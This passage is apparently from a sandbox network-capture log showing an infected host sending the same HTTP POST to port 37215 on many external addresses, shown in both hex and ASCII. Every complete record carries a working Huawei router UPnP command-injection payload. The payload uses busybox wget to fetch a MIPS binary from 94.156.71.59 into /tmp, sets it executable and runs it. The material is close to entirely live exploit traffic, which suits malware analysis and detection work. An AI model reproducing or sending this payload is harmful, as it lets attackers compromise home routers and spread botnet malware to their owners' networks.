6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.13	33064	156.2.52.209	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.836582899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.13	51482	156.161.132.25	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.837955952 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.13	57412	197.106.115.54	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.839298964 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.13	38198	156.94.92.161	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.840961933 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.13	59676	197.35.23.215	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.842261076 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.13	50194	156.3.211.244	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.843717098 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.13	55898	197.40.65.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.844763041 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.13	58594	156.142.47.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.845834970 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.13	53768	156.122.197.14	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.846884012 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.13	46436	156.234.121.196	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.847965002 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.13	41440	197.11.180.159	37215

Timestamp	Bytes transferred	Direction	Data
